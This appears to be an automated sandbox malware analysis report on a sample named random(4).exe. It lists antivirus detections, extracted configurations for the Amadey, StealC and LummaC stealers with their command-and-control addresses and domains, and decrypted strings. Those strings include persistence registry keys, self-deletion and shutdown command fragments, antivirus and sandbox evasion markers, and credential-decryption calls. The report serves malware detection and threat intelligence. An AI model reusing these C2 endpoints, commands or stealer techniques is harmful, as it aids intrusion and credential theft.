Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 9ce3a8a3dc.exe.7984.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["slipperyloo.lat", "pancakedipyps.click", "tentabatte.lat", "manyrestro.lat", "shapestickyr.lat", "talkynicer.lat", "curverpluch.lat", "wordyfindy.lat", "bashfulacid.lat"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: random(4).exe	Virustotal: Detection: 58%			Perma Link
Source: random(4).exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: random(4).exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: 185.215.113.43
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: S-%lu-
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: abc3bc1985
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: skotes.exe
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Startup
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: rundll32
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Programs
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: %USERPROFILE%
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: cred.dll
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: clip.dll
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: http://
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: https://
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: /quiet
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: /Plugins/
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: &unit=
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: shell32.dll
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: kernel32.dll
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: GetNativeSystemInfo
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: ProgramData\
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: AVAST Software
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Kaspersky Lab
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Panda Security
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Doctor Web
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: 360TotalSecurity
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Bitdefender
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Norton
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Sophos
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Comodo
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: WinDefender
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: 0123456789
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: ------
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: ?scr=1
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: ComputerName
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: -unicode-
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: VideoID
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: DefaultSettings.XResolution
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: DefaultSettings.YResolution
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: ProductName
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: CurrentBuild
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: rundll32.exe
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: "taskkill /f /im "
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: " && timeout 1 && del
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: && Exit"
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: " && ren
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Powershell.exe
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: shutdown -s -t 0
Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: random
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 07
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 01
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 20
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 25
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetProcAddress
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: LoadLibraryA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: lstrcatA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: OpenEventA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateEventA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CloseHandle
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Sleep
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: VirtualFree
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetSystemInfo
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: VirtualAlloc
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HeapAlloc
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetComputerNameA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: lstrcpyA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetProcessHeap
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetCurrentProcess
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: lstrlenA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ExitProcess
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetSystemTime
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: advapi32.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: gdi32.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: user32.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: crypt32.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetUserNameA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateDCA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetDeviceCaps
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ReleaseDC
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sscanf
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: VMwareVMware
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HAL9TH
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: JohnDoe
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DISPLAY
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: http://185.215.113.206
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: stok
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetFileAttributesA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HeapFree
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetFileSize
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GlobalSize
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: IsWow64Process
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Process32Next
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetLocalTime
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: FreeLibrary
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetVolumeInformationA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Process32First
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetLocaleInfoA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetModuleFileNameA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DeleteFileA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: FindNextFileA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: LocalFree
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: FindClose
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: LocalAlloc
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetFileSizeEx
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ReadFile
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SetFilePointer
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: WriteFile
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateFileA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: FindFirstFileA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CopyFileA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: VirtualProtect
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetLastError
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: lstrcpynA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: MultiByteToWideChar
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GlobalFree
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: WideCharToMultiByte
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GlobalAlloc
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: OpenProcess
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: TerminateProcess
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetCurrentProcessId
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: gdiplus.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ole32.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: bcrypt.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: wininet.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: shlwapi.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: shell32.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: rstrtmgr.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SelectObject
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BitBlt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DeleteObject
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateCompatibleDC
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdiplusStartup
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdiplusShutdown
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdipDisposeImage
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GdipFree
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CoUninitialize
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CoInitialize
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CoCreateInstance
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BCryptDecrypt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BCryptSetProperty
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BCryptDestroyKey
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetWindowRect
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetDesktopWindow
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetDC
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CloseWindow
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: wsprintfA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CharToOemW
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: wsprintfW
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RegQueryValueExA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RegEnumKeyExA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RegOpenKeyExA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RegCloseKey
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RegEnumValueA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CryptUnprotectData
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SHGetFolderPathA
